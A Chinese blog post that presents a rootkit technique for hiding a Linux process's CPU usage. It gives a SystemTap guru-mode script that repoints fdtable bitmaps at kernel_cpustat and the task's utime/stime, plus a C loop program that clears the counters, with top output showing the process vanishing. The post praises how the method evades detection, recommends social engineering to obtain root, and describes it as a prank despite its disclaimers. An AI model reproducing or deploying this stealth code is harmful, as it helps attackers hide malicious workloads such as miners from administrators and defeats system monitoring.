可以自己隐藏自己CPU利用率的Rootkit(附:Rootkit的root权限)_rootkit hide

想不想让CPU利用率展示成一首优美的旋律，就像弹琴一样。

我的意思是，你想让系统以及task的CPU利用率是多少它就是多少，一切都是由你的程序自己来 调制演奏。 这需要一种自指机制。

哈哈，完全可以，本文来演示，或者说，你可以把本文的内容看作一个戏弄运维人员的恶作剧。

运维人员经常会遇到各种CPU高的问题，然后成群结队地去排查，想让队伍更大些吗？想让事情更诡异吗？我让你查，我让你查。哈哈。

事先声明，若用本文描述的手段实施恶意行为，将会受到谴责，这并不是一个真正工程师该有的行为，更有辱手艺人的探索精神。

先大致介绍一下原理。

Linux系统的CPU利用率是通过时钟中断的打点来采样来统计的，具体的样本系统会展示在procfs中，具体就是/proc/stat。

进一步，/proc/stat中的信息是从全局的静态per cpu变量kernel_cpustat中取出来的：

static inline void task_group_account_field(struct task_struct *p, int index,
                        u64 tmp)
{
    /*
     * Since all updates are sure to touch the root cgroup, we
     * get ourselves ahead and touch it first. If the root cgroup
     * is the only cgroup, then nothing else should be necessary.
     *
     */
    __get_cpu_var(kernel_cpustat).cpustat[index] += tmp;

    cpuacct_account_field(p, index, tmp);
}

其中的index是一个枚举，分别表示CPU时间的类型，大致看一眼就行：

enum cpu_usage_stat {
    CPUTIME_USER,
    CPUTIME_NICE,
    CPUTIME_SYSTEM,
    CPUTIME_SOFTIRQ,
    CPUTIME_IRQ,
    CPUTIME_IDLE,
    ...
    NR_STATS,
};

每一次打点采样的时候，系统总是会把距离上一次打点采样的时间差递增到kernel_cpustat的对应index中。

我们只需要有一个机制，可以按照我们的意愿来修改kernel_cpustat的值就可以了。

显然，写一个模块，内置一个timer，每隔一段时间就去设置一下kernel_cpustat的值当然是OK的，很容易用stap的POC脚本演示效果。然而，这种方案动静太大，你不得不加载一个内核模块，而这很容易被运维抓到，因此你不得不去隐藏这个内核模块，我前面写过很多隐藏技巧，这将又是一个声势浩大的动作。

所以说，必须设计一种让task自己隐藏自己CPU利用率的自隐藏机制。

我瞄准了内核里的bitmap，恰好它的每一个bit就是一个琴键，相当形象的比喻，一个64位的bitmap就有64个琴键，每一个bit设置不同的值就能显示不同的CPU利用率。

具体如何做呢？

哈哈， task_struct里不是files_struct吗？files_struct里不是有fdtable吗？fdtable里不是有两个位图吗？

• close_on_exec位图。
• open_fds位图。

看出啥意思了吗？我想我已经不必多说了吧：

• 将close_on_exec位图指向具体CPU核的kernel_cpustat。
• 将open_fds位图指向task_struct自己的utime，stime的地址。
• 进程中不断地open/close具体的文件并fcntl对应的~FD_CLOEXEC标志。

来来来，看代码：

%{
#include <linux/kernel_stat.h>
#include <linux/fdtable.h>
%}

global pid;
global type;
global addr;

function change_fdt(tsk:long, type:long, addr:long)
%{
    struct task_struct *p = (struct task_struct *)STAP_ARG_tsk;
    struct files_struct *files;
    struct fdtable *fdtbl;
    struct kernel_cpustat *stat;
    unsigned long *m = NULL;

    files = p->files;
    fdtbl = files->fdt;
    stat = &__get_cpu_var(kernel_cpustat);
    m = fdtbl->close_on_exec;
    printk("before:%p\n", fdtbl->close_on_exec);
    if (STAP_ARG_type == 1) {
        fdtbl->close_on_exec = (unsigned long *)stat;
        fdtbl->open_fds = (unsigned long *)&(p->utime);
    } else if (STAP_ARG_type == 0) {
        fdtbl->close_on_exec = (unsigned long *)STAP_ARG_addr;
    }
    printk("after:%p\n", fdtbl->close_on_exec);
%}

probe kernel.function("account_process_tick")
{
    if (pid() == pid) {
        //@cast($p, "struct task_struct")->utime = -100000;
        //@cast($p, "struct task_struct")->stime = -100000;
        change_fdt($p, type, addr);
        exit();
    }
}

probe begin
{
    pid = $1
    type = $2
    addr = $3
}

照着上面的原理理解上述代码，够简单了，无须多讲。

再看一个超级消耗CPU的程序：

// loop.c
#include <sys/types.h>
#include <sys/stat.h>
#include <errno.h>
#include <fcntl.h>

void clear_cpu_account()
{
    int flags;
    int i;

    // 大致需要设置USER，SYS，SOFTIRQ等4个u64的值，256个bit足够了。
    for (i = 3; i < 259; i++) {
        if (i == 64 || i == 128) // 为了防止open_fds被理解为utime，stime后除0异常
            continue;
        i = open("./aa", O_RDONLY);
        if (i == -1) {
            perror("open");
            exit(1);
        }
        flags = fcntl(i, F_GETFD);
        flags &= ~FD_CLOEXEC;
        fcntl(i, F_SETFD, flags);
    }
    for (i = 3; i < 259; i++) {
        if (i != 64 && i != 128) // 为了防止open_fds被理解为utime，stime后除0异常
            close(i);
    }
}

int main()
{
    while (1) {
        clear_cpu_account();
    }
}

来看效果。

先看不隐藏CPU利用率时的loop程序：

[root@localhost ~]# ./a.out &
[1] 4021
[root@localhost ~]# top
top - 23:03:26 up  3:06,  3 users,  load average: 0.31, 0.08, 0.04
Tasks:  86 total,   2 running,  84 sleeping,   0 stopped,   0 zombie
%Cpu(s): 16.6 us, 83.4 sy,  0.0 ni,  0.0 id,  0.0 wa,  0.0 hi,  0.0 si,  0.0 st
KiB Mem :  1016860 total,   580596 free,   102116 used,   334148 buff/cache
KiB Swap:  2097148 total,  2097148 free,        0 used.   757212 avail Mem

  PID USER      PR  NI    VIRT    RES    SHR S %CPU %MEM     TIME+ COMMAND
 4021 root      20   0    4212    352    280 R 94.0  0.0   0:16.39 a.out
   11 root      20   0       0      0      0 S  6.0  0.0   0:01.25 rcuos/0
 3881 root      20   0       0      0      0 S  0.3  0.0   0:01.35 kworker/0:1
    1 root      20   0   43400   3688   2480 S  0.0  0.4   0:00.72 systemd

CPU利用率是不是波澜壮阔的，嗯，是的，一下子就知道a.out是元凶。

然后我们运行我们的stap脚本：

[root@localhost test]# stap -g ./hidestat.stp 4021 1 0
[root@localhost test]# top
top - 23:06:42 up  3:09,  3 users,  load average: 2.00, 1.01, 0.41
Tasks:  85 total,   2 running,  83 sleeping,   0 stopped,   0 zombie
%Cpu(s):  0.0 us,  0.0 sy,  0.0 ni,100.0 id,  0.0 wa,  0.0 hi,  0.0 si,  0.0 st
KiB Mem :  1016860 total,   579600 free,   102216 used,   335044 buff/cache
KiB Swap:  2097148 total,  2097148 free,        0 used.   756400 avail Mem

  PID USER      PR  NI    VIRT    RES    SHR S %CPU %MEM     TIME+ COMMAND
   11 root      20   0       0      0      0 S  5.3  0.0   0:11.88 rcuos/0
    1 root      20   0   43400   3688   2480 S  0.0  0.4   0:00.72 systemd
    2 root      20   0       0      0      0 S  0.0  0.0   0:00.00 kthreadd
    3 root      20   0       0      0      0 S  0.0  0.0   0:00.01 ksoftirqd/0
    7 root      rt   0       0      0      0 S  0.0  0.0   0:00.00 migration/0
    8 root      20   0       0      0      0 S  0.0  0.0   0:00.00 rcu_bh

咦？a.out呢？风平浪静了…

如我所愿，系统整体的CPU利用率，100% idle，a.out也早就不知道沉到哪里去了，为a.out取一个好名字，运维们根本不会想象这样的程序会是元凶，虽然在技术的视角非常有必要利用我之前介绍的trick将a.out隐藏掉，但是多一事不如少一事。

我比较喜欢这个方案，它的优点在于：

• 没有hook任意的内核代码，因此通过代码段摘要就无法查出来。
• 甚至无需隐藏进程，因此减少了对系统稳定的影响。
• 你可以通过修改loop.c程序实现自定义的CPU利用率控制(就像演奏一样)。
• …

我要赶紧结束掉a.out再继续写下去，虽然top看不出任何问题，但是我的电脑已经非常烫手了，显然，a.out依然在驱动着CPU开足马力耗电，只是这一切被藏了起来，这是炎热的夏天的夜晚…

…

代码临时仓促写着玩，还有很多问题没有解决：

• 确实偶尔会造成panic。
• 偶尔依然会有除0异常。
• 通过检查/proc/stat，会发现CPU时间计数器不是单调递增的，难不成时间会倒流？
• …

技术分析到此为止，最后我来谈一下关于Rootkit中的root如何理解。

先说我的结论：

• 我不认为用技术手段破解root属于Rootkit攻击的一部分。Rootkit需要你事先拿到最高权限。

Rootkit属于采用技术手段达到自己目的的一种内核木马，显然必须使用root权限才能将其装入内核，root权限是一个前置条件。

我倾向于采用社会工程学手段拿到最高权限，而不是采用技术手段去破解。

root权限，或者说最高权限的破解完全是另一个技术领域，它更多的是身份认证的工作，涉及到密码学，PKI体系等，而这些并不是Rootkit关注的。Rootkit关注的往往是你拿到权限之后，具体要做什么，而不是如何拿到权限。

社会工程学拿到root权限反而要省事的多。

另一方面，反过来讲，即便是给你root权限，绝大多数人也并非有能力去部署木马。这基本反驳了普遍存在的一个观点， “root都给你了，还有什么做不到的呢？” 你给一个非全栈的前端程序员root权限，让他写一个内核握手代理试试，即便是root已经在手的系统管理员，系统运维，绝大多数对于内核的控制也是无能为力的。当然，少数例外排除在外。

光root权限在手没用，若想实施一点坏主意，还需要对系统运作原理有足够深入的理解，而这个是非常专业的领域。这就好比很多人都知道开源是好事，可是能看懂源代码的人本就不多。开源对不懂代码的人有用吗？这是一种文化，而不是一门技术。

太晚了，有时间我会演示如何将CPU的高利用率甩锅给任意进程，以嫁祸于人或者恶意制造障碍。不过我必须再次声明，我并不是真的心存恶意，否则我也不会写出来，我只是在尽力避免这种恶意在现实中被实施。

浙江温州皮鞋湿，下雨进水不会胖。